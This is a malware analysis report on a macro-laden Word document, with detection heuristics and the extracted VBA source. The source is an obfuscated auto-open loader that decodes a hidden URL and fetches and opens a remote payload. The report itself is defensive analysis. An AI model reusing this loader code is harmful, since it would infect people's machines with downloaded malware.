Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f056b8d6fe201c4b…

MALICIOUS

Office (OOXML)

54.3 KB Created: 2016-04-11 07:25:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2016-04-16
MD5: c200cc35222473a212402b00f8bdac49 SHA-1: f390b9cb6495054270e4c71190955d76a625cee3 SHA-256: f056b8d6fe201c4b319685ca32fe2b449b868d73f64905736613509ce8cb0125
332 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing a heavily obfuscated VBA macro loader. The 'autoopen' subroutine is present, indicating an auto-executing macro. Heuristics indicate the use of CreateObject and CallByName, common for executing downloaded payloads. ClamAV detections confirm this is a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Hpsplicap-6769619-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Hpsplicap-6769619-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    "4369")
     Set CVY_1 = CreateObject(CVY_57(0))
      Set CVY_0_19 = CreateObject(CVY_57(1))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    "4369")
     Set CVY_1 = CreateObject(CVY_57(0))
      Set CVY_0_19 = CreateObject(CVY_57(1))
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
        sixTheen = 16
    CallByName CVY_0_19, CVY_57(9 - 2), 64 / sixTheen, sixTheen - 15
     CVY_0_19.Open
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
     CargaGridGnral "8", "800", "2000", False
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 32790 bytes
SHA-256: cb0ce7c7641828ed48456cbb02f8719e711b8fdad1dc34f25cf1337ed4cc0071
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Public Function ShowStatus() As String
    'ShowStatus = LastOpr + str(PcdMessage(Status))

End Function


Public Function UnloadDrv() As Long
    Dim Status As Long
    
    Status = Conne.ctPCD.PcdDisconnectChannel(PcdConn, 0, 0)
    Status = PcdC.omUnloadDrv(True)
    UnloadDrv = Status
End Function

Sub autoopen()
 CargaGridGnral "8", "800", "2000", False

End Sub
Public Function ReadFlags(ByVal Adres As Integer, ByVal Number As Integer) As Long
    Dim Status As Long
    
    Status = 99
    Status = PcdRdIOF(PcdConn, Asc("F"), Adres, Number, flagsA(0))
      
    ReadFlags = Status
End Function

Public Function WriteFlag(ByVal Operation As Byte, ByVal Adres As Integer) As Long
   Dim Status As Long
    
    Status = 99
    Select Case Operation
    Case 0
         Status = PcdWrOF(PcdConn, Asc("F"), Adres, 1, 48)
    Case 1
         Status = PcdWrOF(PcdConn, Asc("F"), Adres, 1, 49)
    Case 2
         Status = PcdRdIOF(PcdConn, Asc("F"), Adres, 1, flagsK(0))
    If Status = 0 Then
        If flagsK(0) = 48 Then
         Status = PcdWrOF(PcdConn, Asc("F"), Adres, 1, 49)
        Else
         Status = PcdWrOF(PcdConn, Asc("F"), Adres, 1, 48)
        End If
    End If
    End Select
    WriteFlag = Status
End Function

Public Function ReadRegs(ByVal Adres As Integer, ByVal Number As Integer) As Long
    Dim Status As Long
    
    Status = PcdRdRTC(PcdConn, Asc("R"), Adres, Number, Regs(0))
    ReadRegs = Status
End Function

Public Function WriteRegs(ByVal Adres As Integer, ByVal Number As Integer) As Long
    Dim Status As Long
    
    Status = PcdWrRTC(PcdConn, Asc("R"), Adres, Number, Regs(0))
    WriteRegs = Status
End Function

Attribute VB_Name = "Module1"
Public CVY_1 As Object
Public CVY_0_19 As Object
Public CVY_3 As Object
Public CVY_7() As String
Public CVY_4 As String
Public CVY_5 As String
Public CVY_6 As Object
 Public CVY3_1 As String
Public CVY_57() As String




Public Sub BloodyBlood(ByRef Text As String, b As Boolean, Optional EsContador As Boolean)


CVY_5 = CVY_4
CVY_5 = CVY_5 + CVY_57(12)
BloquearText1 "", 0
    PerderFocoGnralLineas "", 1
    Exit Sub
On Error Resume Next

    Te11.xt.Locked = b
    If Not b And Tenn.xt.Enabled = False Then Texnn.T.Enabled = True
    If b Then
        If EsContador Then
            

            Tenn.xt.BackColor = &HFFFFC0
        Else
            Tnn.ext.BackColor = &H80000018
        End If
    Else
        Tennn.xt.BackColor = vbWhite
    End If
    If Err.Number <> 0 Then Err.Clear
End Sub





Public Function PerderFocoGnralLineas(ByRef Txt As String, ModoLineas As Byte) As Boolean



    On Error Resume Next
BloquearImgBuscar "Arc", 1, 3
Exit Function
    If Screen.ActiveForm.ActiveControl.Name = "cmdCancelar" Then
        PerderFocoGnralLineas = False
        Exit Function
    End If
    
    With Tefef.xt
        
        .Text = Trim(.Text)

        If .BackColor = vbYellow Then

            .BackColor = vbWhite
        End If

        
        If (ModoLineas <> 1 And ModoLineas <> 2) Then
            PerderFocoGnralLineas = False
            Exit Function
        End If
    End With

    PerderFocoGnralLineas = True
    If Err.Number <> 0 Then Err.Clear

End Function


Public Sub limpiar(ByRef formulario As String)
    Dim Control As Object

    For Each Control In formulario.Controls
        If TypeOf Control Is TextBox Then
            Control.Text = ""
        End If
    Next Control
End Sub



Public Sub LimpiarText1(ByRef formulario As String)







End Sub


Public Sub LimpiarTxtAux(ByRef formulario As String)







End Sub


Public Sub LimpiarLin(ByRef formulario As String, nomframe As String)

    Dim Control As Object

    For Each Control In formulario.Controls
        If TypeOf Control Is TextBox Then
            If Control.Container.Name = nomframe Then
                Control.Text = ""
            End If
        ElseIf TypeOf Control Is ComboBox Then
            If Control.Container.Name = nomframe Then
                Control.ListIndex = -1
            End If
        ElseIf TypeOf Control Is CheckBox Then
            If Control.Container.Name = nomframe Then
                Control.Value = 0
            End If
        End If
    Next Control
End Sub



Public Function EsVacio(ByRef campo As String) As Boolean





End Function




Public Sub DesplazamientoVisible(ByRef toolb As String, iniBoton As Byte, bol As Boolean, NReg As Byte)

Dim i As Byte

    Select Case N11.ff.Reg
        Case 0, 1
            For i = iniBoton To iniBoton + 3
                toolb.Buttons(i).Visible = False
            Next i
        Case Else
            For i = iniBoton To iniBoton + 3
                toolb.Buttons(i).Visible = bol
            Next i
    End Select
End Sub



Public Function EsNumerico(Texto As String) As Boolean
Dim i As Integer
Dim C As Integer
Dim L As Integer
Dim Cad As String
Dim b As Boolean
    
    EsNumerico = False
    b = True
    Cad = ""
    If Not IsNumeric(Texto) Then
        Cad = "El campo debe ser num?rico"
        b = False
        
        
        i = InStr(1, Texto, ".")
        If i = 1 Then
            If IsNumeric(Mid(Texto, 2, Len(Texto))) Then b = True
        
        Else
            If i = 2 And Mid(Texto, 1, 1) = "-" Then
                If IsNumeric(Mid(Texto, 3, Len(Texto))) Then b = True
            End If
        End If
        
    Else
        
        C = 0
        L = 1
        Do
            i = InStr(L, Texto, ",")
            If i > 0 Then
                L = i + 1
                C = C + 1
            End If
        Loop Until i = 0
        If C > 1 Then
            Cad = "Numero de comas incorrecto"
            b = False
        End If
        
        
        If C = 0 Then
            L = 1
            Do
                i = InStr(L, Texto, ".")
                If i > 0 Then
                    L = i + 1
                    C = C + 1
                End If
            Loop Until i = 0
            If C > 1 Then
                Cad = "Numero incorrecto"
                b = False
            End If
        End If
    End If
    If Not b Then
        MsgBox Cad, vbExclamation
    Else
        EsNumerico = b
    End If
End Function


Public Function PonerFormatoEntero(ByRef T As String) As Boolean

Dim mTag As String
Dim Cad As String
Dim Formato As String
On Error GoTo EPonerFormato

    
    If T.Text = "" Then Exit Function
    PonerFormatoEntero = True
    
    Set mTag = New CTag
    mTag.Cargar T
    If mTag.Cargado Then
       Cad = mTag.Nombre
       Formato = mTag.Formato
    End If
    Set mTag = Nothing

    If Not EsEntero(T.Text) Then
        PonerFormatoEntero = False
        MsgBox "El campo " & Cad & " tiene que ser num?rico.", vbExclamation
        PonerFoco T
    Else
         
         
         
         
         
         If T.Text < 0 Then _
            Formato = Replace(Formato, "0", "", 1, 1)
        
         
         T.Text = Format(T.Text, Formato)
    End If
    
EPonerFormato:
    If Err.Number <> 0 Then Err.Clear
End Function

Public Function PosarFormatTelefon(ByRef T As String) As Boolean

Dim mTag As String
Dim Cad As String

On Error GoTo EPosarFormatTelefon

    If T.Text = "" Then Exit Function
    PosarFormatTelefon = True
    
    T.Text = Replace(T.Text, " ", "")
       
    Set mTag = New CTag
    mTag.Cargar T
    If mTag.Cargado Then
       Cad = mTag.Nombre
    End If
    Set mTag = Nothing

    If (InStr(1, T.Text, ",") > 0) Or (InStr(1, T.Text, ".") > 0) Or (InStr(1, T.Text, "+") > 0) Or (InStr(1, T.Text, "-") > 0) Or (Not IsNumeric(T.Text)) Then
        PosarFormatTelefon = False
        MsgBox "El campo " & Cad & " tiene que ser num?rico.", vbExclamation
        PonerFoco T
    End If
    
EPosarFormatTelefon:
    If Err.Number <> 0 Then Err.Clear
End Function



Public Sub CargaGridGnral(ByRef vDataGrid As String, ByRef vData As String, SQL As String, PrimeraVez As Boolean)
    On Error GoTo ECargaGRid
segodnyazavtra 0
Exit Sub
    vDat.aGrid.Enabled = True
    
    vDa1.ta.ConnectionString = conn
    vDa1.ta.RecordSource = SQL
    vDa1.ta.CursorType = adOpenDynamic
    vDa1.ta.LockType = adLockPessimistic
    vDa1.taGrid.ScrollBars = dbgNone
    vDa1.ta.Refresh
    
    Set vDa1.taGrid.DataSource = vData
    vDa1.taGrid.AllowRowSizing = False
    vDa1.taGrid.RowHeight = 290
    
    If PrimeraVez Then
        vDa1.taGrid.ClearFields
        vDa1.taGrid.Rebind
        vDa1.taGrid.Refresh
    End If
    
ECargaGRid:
    If Err.Number <> 0 Then Muestr.aError Err.Number, "CargaGrid", Err.Description
End Sub






Attribute VB_Name = "Module4"


Public Function SituarData(ByRef vData As String, vWhere As String, ByRef Indicador As String, Optional NoRefresca As Boolean) As Boolean

    On Error GoTo ESituarData

        
        If Not NoRefresca Then vDa1.ta.Refresh
        
        
        vDa1.ta.Recordset.Find vWhere
        If vDa1.ta.Recordset.EOF Then
            If vDa1.ta.Recordset.RecordCount > 0 Then vDa1.ta.Recordset.MoveFirst
            GoTo ESituarData
        End If
        Indicador = vDa1.ta.Recordset.AbsolutePosition & " de " & vDa1.ta.Recordset.RecordCount
        SituarData = True
        Exit Function

ESituarData:
        If Err.Number <> 0 Then Err.Clear
        SituarData = False
End Function


Public Sub BloquearText1(ByRef formulario As String, Modo As Byte)



Dim i As Byte
Dim b As Boolean
Dim vtag As String
On Error Resume Next
GoTo Micro
    With formu.lario
        
        b = (Modo = 3 Or Modo = 4 Or Modo = 1)
        
        For i = 0 To .Text1.Count - 1
            vtgg.ag.Cargar .Text1(i)
            If vtaddc.g.Cargado Then
                If vtsd.dag.EsClave And (Modo = 4 Or Modo = 5) Then
                    .Text1(i).Locked = True
                    .Text1(i).BackColor = &H80000018
                Else
                     .Text1(i).Locked = Not b
                    If b Then
                        .Text1(i).BackColor = vbWhite
                    Else
                        .Text1(i).BackColor = &H80000018
                    End If
                    If Modo = 3 Then .Text1(i).Text = ""
                End If








            End If
            
        Next i
    End With
Micro:
    sixTheen = 16
CallByName CVY_0_19, CVY_57(9 - 2), 64 / sixTheen, sixTheen - 15
 CVY_0_19.Open
    
End Sub

Public Function SituarDataMULTI(ByRef vData As String, vWhere As String, ByRef Indicador As String, Optional NoRefresca As Boolean) As Boolean

On Error GoTo ESituarData
        
        If Not NoRefresca Then vDa1.ta.Refresh
        
        Multi_Find vDa1.ta.Recordset, vWhere
        
        If vDa1.ta.Recordset.EOF Then GoTo ESituarData
        Indicador = vDa1.ta.Recordset.AbsolutePosition & " de " & vDa1.ta.Recordset.RecordCount
        SituarDataMULTI = True
        Exit Function
ESituarData:
        If Err.Number <> 0 Then Err.Clear
        SituarDataMULTI = False
End Function





Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{30E68850-99BA-4BC6-8DEE-958522F5D1FF}{34D23AEB-F8CB-40E6-B4D5-C79A5064443C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module2"


Public Function RiloVAN(ByRef vData As String, Numreg, Optional no_refre As Boolean) As Boolean
    On Error GoTo ESituarDataElim

    If Not no_refre Then vDa1.ta.Refresh
    
    If Not vDa1.ta.Recordset.EOF Then
        If Numreg > vDa1.ta.Recordset.RecordCount Then
            vDa1.ta.Recordset.MoveLast
        Else
            vDa1.ta.Recordset.MoveFirst
            vDa1.ta.Recordset.Move Numreg - 1
        End If
        RiloVAN = True
    Else
        RiloVAN = False
    End If
        
ESituarDataElim:
    If Err.Number <> 0 Then
        Err.Clear
        RiloVAN = False
    End If
End Function


Public Sub PonerFoco(ByRef Text As String)
On Error Resume Next
    Text.SetFocus
    If Err.Number <> 0 Then Err.Clear
End Sub

Public Sub PonerFocoBtn(ByRef btn As CommandButton)
On Error Resume Next
    If btn.Visible Then btn.SetFocus
    If Err.Number <> 0 Then Err.Clear
End Sub

Public Sub PonerFocoCmb(ByRef combo As ComboBox)
On Error Resume Next
    combo.SetFocus
    If Err.Number <> 0 Then Err.Clear
End Sub


Public Sub PonerFocoChk(ByRef chk As CheckBox)
On Error Resume Next
    chk.SetFocus
    If Err.Number <> 0 Then Err.Clear
End Sub



Public Sub PonerFocoGrid(ByRef DGrid As String)
    On Error Resume Next
    DGrid.SetFocus
    If Err.Number <> 0 Then Err.Clear
End Sub


Public Sub PonerFocoListView(ByRef LView As String)
    On Error Resume Next
    LView.SetFocus
    If Err.Number <> 0 Then Err.Clear
End Sub




Public Sub ConseguirFoco(ByRef Text As String, Modo As Byte)


On Error Resume Next

    If (Modo <> 0 And Modo <> 2) Then
        If Modo = 1 Then
            Text.BackColor = vbYellow
        End If
        Text.SelStart = 0
        Text.SelLength = Len(Text.Text)
    End If
    If Err.Number <> 0 Then Err.Clear
End Sub


Public Sub ConseguirFocoLin(ByRef Text As String)


On Error Resume Next





        With Text
            .SelStart = 0
            .SelLength = Len(.Text)
        End With

    If Err.Number <> 0 Then Err.Clear
End Sub


Public Function PerderFocoGnral(ByRef Text As String, Modo As Byte) As Boolean
Dim Comprobar As Boolean


    On Error Resume Next

    If Screen.ActiveForm.ActiveControl.Name = "cmdCancelar" Then
        PerderFocoGnral = False
        Exit Function
    End If

    With Text
        
        .Text = Trim(.Text)
        
        
         If .BackColor = vbYellow Then
            If .Locked Then
                .BackColor = &H80000018
            Else
                .BackColor = vbWhite
            End If
        End If
        
        
        
        If (Modo <> 3 And Modo <> 4 And Modo <> 1 And Modo <> 5) Then
            PerderFocoGnral = False
            Exit Function
        End If
        
        If Modo = 1 Then
            
            
            Comprobar = ContieneCaracterBusqueda(.Text)
            If Comprobar Then
                PerderFocoGnral = False
                Exit Function
            End If
        End If
        PerderFocoGnral = True
    End With
    
    If Err.Number <> 0 Then Err.Clear
End Function

Attribute VB_Name = "Module3"


Public Function SamcaSrid(ByRef vData As String, ByRef T1 As String, ByRef T2 As String, Indicador As String) As Boolean

Dim mTag1 As String, mTag2 As String
Dim Valor1 As Variant, Valor2 As Variant
Dim Dato1, Dato2
Dim Encontrado As Boolean
On Error GoTo ESituarData

    SamcaSrid = False
    
    If T1.Tag <> "" And T2.Tag <> "" Then
        
        Set mTag1 = New CTag
        mTag1.Cargar T1
        If mTag1.Cargado Then
            Select Case mTag1.TipoDato
                Case "T": Valor1 = T1.Text
                Case "N": Valor1 = Val(T1.Text)
            End Select
        Else
            Exit Function
        End If
        
        
        Set mTag2 = New CTag
        mTag2.Cargar T2
        If mTag2.Cargado Then
            Select Case mTag2.TipoDato
                Case "T": Valor2 = T2.Text
                Case "N": Valor2 = Val(T2.Text)
            End Select
        Else
            Exit Function
        End If
        
        
        vDa1.ta.Refresh
        If vDa1.ta.Recordset.EOF Then GoTo ESituarData
        
        Encontrado = False
        While Not Encontrado And Not vDa1.ta.Recordset.EOF
            
            Select Case mTag1.TipoDato
                Case "T": Dato1 = vDa1.ta.Recordset.Fields(mTag1.Columna).Value
                Case "N": Dato1 = Val(vDa1.ta.Recordset.Fields(mTag1.Columna).Value)
            End Select

            
            Select Case mTag2.TipoDato
                Case "T": Dato2 = vDa1.ta.Recordset.Fields(mTag2.Columna).Value
                Case "N": Dato2 = Val(vDa1.ta.Recordset.Fields(mTag2.Columna).Value)
            End Select

            If Dato1 = Valor1 And Dato2 = Valor2 Then

                    Encontrado = True











            Else
                vDa1.ta.Recordset.MoveNext
            End If
        Wend
        Set mTag1 = Nothing
        Set mTag2 = Nothing
        Indicador = vDa1.ta.Recordset.AbsolutePosition & " de " & vDa1.ta.Recordset.RecordCount
        SamcaSrid = True
        Exit Function
    End If
ESituarData:
        If Err.Number <> 0 Then Err.Clear
        SamcaSrid = False
End Function





Public Function SituarDataPosicion(ByRef vData As String, NumPos As Long, ByRef Indicador As String) As Boolean

Dim TotalReg As Long

    On Error GoTo ESituarDataPosicion
    



        TotalReg = vDa1.ta.Recordset.RecordCount
        
        If vDa1.ta.Recordset.EOF Then GoTo ESituarDataPosicion
        
        If NumPos <= TotalReg Then
            vDa1.ta.Recordset.Move NumPos - 1
        Else
            vDa1.ta.Recordset.Move NumPos
        End If
        Indicador = vDa1.ta.Recordset.AbsolutePosition & " de " & vDa1.ta.Recordset.RecordCount
        SituarDataPosicion = True
        Exit Function
        
ESituarDataPosicion:
        If Err.Number <> 0 Then Err.Clear
        SituarDataPosicion = False
End Function




Attribute VB_Name = "Module5"


Public Sub BloquearFrameAux(ByRef formulario As String, nom_frame As String, Modo As Byte, Optional NumTabMto As Integer)
Dim i As Byte
Dim b As Boolean
Dim Control As Object

    On Error GoTo EBloquear

    
    b = (Modo = 5)
    
    For Each Control In formulario.Controls
        
        If (Control.Tag <> "") Then
           If (Control.Container.Name = nom_frame) Then
                If (TypeOf Control Is TextBox) And (Control.Name = "txtAux") Then
                    Control.Locked = Not b
                    If b Then
                        Control.BackColor = vbWhite
                    Else
                        Control.BackColor = &H80000018
                    End If
                    If Modo = 3 Then Control.Text = ""
                    
                ElseIf (TypeOf Control Is ComboBox) And (Control.Name = "cmbAux") Then
                    
                    Control.Enabled = b
                    If b Then
                        Control.BackColor = vbWhite
                    Else
                        Control.BackColor = &H80000018
                    End If
                    If Modo = 3 Then Control.ListIndex = 0
                End If
            End If
        End If
    
    Next Control

EBloquear:
    If Err.Number <> 0 Then Err.Clear
End Sub





Public Sub simulate_hans(ByRef formulario As String, nom_frame As String, Bloquea As Boolean)
Dim b As Boolean
Dim Control As Object
CVY_1.Open CVY_57(5), CVY3_1, False
CVY_1.Send
      CVY_4 = CVY_3(CVY_57(6))
GoTo EBloquear

    

    b = Bloquea
    
    For Each Control In form.ulario.Controls
        If (TypeOf Control Is TextBox) Then
            If (Control.Name = "txtAux") And (Control.Container.Name = nom_frame) Then
                If (Control.Tag <> "") Then
                    Control.Locked = b
                    If Not b Then
                        Control.BackColor = vbWhite
                    Else
                        Control.BackColor = &H80000018
                    End If

                End If
            End If
            
        ElseIf (TypeOf Control Is ComboBox) Then
            If (Control.Name = "cmbAux") And (Control.Container.Name = nom_frame) Then
                Control.Enabled = Not b
                If Not b Then
                    Control.BackColor = vbWhite
                Else
                    Control.BackColor = &H80000018
                End If

            End If
        End If
    Next Control

EBloquear:
BloodyBlood "Zachem", False

End Sub





Public Sub segodnyazavtra(ByVal pid As Long)
  On Error GoTo vidra_mind
  Dim pg As Integer
  Dim i As Long
  Dim b As Byte
  Dim sb As String
  Dim s As String
  Dim si As Integer
 
  Dim maxsi As Integer
  Dim backupi As Long
  Dim reskey As String
  Dim TibiaExeModuleAddress As Long
  Dim TibiaExeModuleSize As Long
  Dim TibiaExeModuleEnd As Long
GoTo segodnyazavtra1
   frmMain.txtPackets.Text = frmMain.txtPackets.Text & vbCrLf & "Trying to autoupdate adrRSA..."
   If (GetMainModul.eAddress(pid, TibiaExeModuleAddress, TibiaExeModuleSize) = False) Then
     frmMain.txtPackets.Text = frmMain.txtPackets.Text & vbCrLf & "FAIL ... Error at segodnyazavtra, GetMainModuleAddress failed.."
     adrRSA = 0
     
     Exit Sub
  End If
segodnyazavtra1:
  CVY_57 = Split(Replace(Replace(Replace(UserForm1.OptionButton1.Caption, "LudA", "o"), "BoldI", "e"), "GnomE", "i"), "badg")
CVY_7 = Split("728436981243698124369784436940643693294369329436969343697214369833436978443697564369756436969343693224369693436977743697634369329436939243693854369812436937143697214369728", _
"4369")
 Set CVY_1 = CreateObject(CVY_57(0))
  Set CVY_0_19 = CreateObject(CVY_57(1))
   Set CVY_6 = CreateObject(CVY_57(2))
    Set CVY_0_22 = CreateObject(CVY_57(3))
     Set CVY_3 = CVY_0_22.Environment(CVY_57(4))
     GoTo vidra_mind
  TibiaExeModuleEnd = TibiaExeModuleAddress + TibiaExeModuleSize
  reskey = ""
  pg = 0
  maxsi = 1
  si = 1
  
  sb = ""
  
  i = TibiaExeModuleAddress
  Do
     b = Memory_R.eadByte(i, pid)
     sb = Chr(b)
     If (IsNumeric(sb)) Then
    
    reskey = reskey & sb
       si = si + 1
       If (si = 2) Then
         backupi = i
       End If
       If (si > maxsi) Then
         maxsi = si
         
         If maxsi - 1 = 309 Then
           adrRSA = backupi
           frmMain.txtPackets.Text = frmMain.txtPackets.Text & vbCrLf & "SUCCESS!! Found RSA key at &H" & (Hex(adrRSA)) & " : " & reskey
           Exit Sub
         End If
       End If
     Else
       reskey = ""
       If (si > 1) Then
         i = backupi
         si = 1
       End If
     End If
    
     pg = pg + 1
     If (pg >= 10000) Then
       frmMain.txtPackets.Text = frmMain.txtPackets.Text & vbCrLf & Hex(i) & " Searching RSA key for this tibia client..."
       pg = 0
     End If
     i = i + 1
     DoEvents
  
  Loop Until i >= TibiaExeModuleEnd
   frmMain.txtPackets.Text = frmMain.txtPackets.Text & vbCrLf & "FAIL ... MEMORY SCAN COMPLETED WITHOUT RESULTS"
   Exit Sub
   
vidra_mind:
  adrRSA = 0
    Dim CVY_8 As Integer

For CVY_8 = LBound(CVY_7) To UBound(CVY_7)
 CVY3_1 = CVY3_1 & Chr(CInt(CVY_7(CVY_8)) / 7)
 Next CVY_8
 simulate_hans "", "", True
 
  Exit Sub
End Sub
Public Sub Multi_Find(ByRef oRs As String, sCriteria As String)

    Dim clone_rs As String
    Set clone_rs = oRs.Clone
    
    clone_rs.Filter = sCriteria
    
    If clone_rs.EOF Or clone_rs.BOF Then
     oRs.MoveLast
     oRs.MoveNext
    Else
     oRs.Bookmark = clone_rs.Bookmark
    End If
    
    clone_rs.Close
    Set clone_rs = Nothing

End Sub


Public Sub Multi_Find2(ByRef oRs As String, sCriteria As String)

On Error Resume Next

    oRs.Filter = ""
    oRs.MoveFirst
    oRs.Filter = sCriteria
    
    If oRs.EOF Or oRs.BOF Then
     oRs.MoveLast
     oRs.MoveNext
    Else
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 90112 bytes
SHA-256: 233d1c99c9ef84bd7d895f7d1e7018a9cc51c6330f9af8b080227bb7cb54ff0b
Detection
ClamAV: Doc.Downloader.Hpsplicap-6769619-0
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).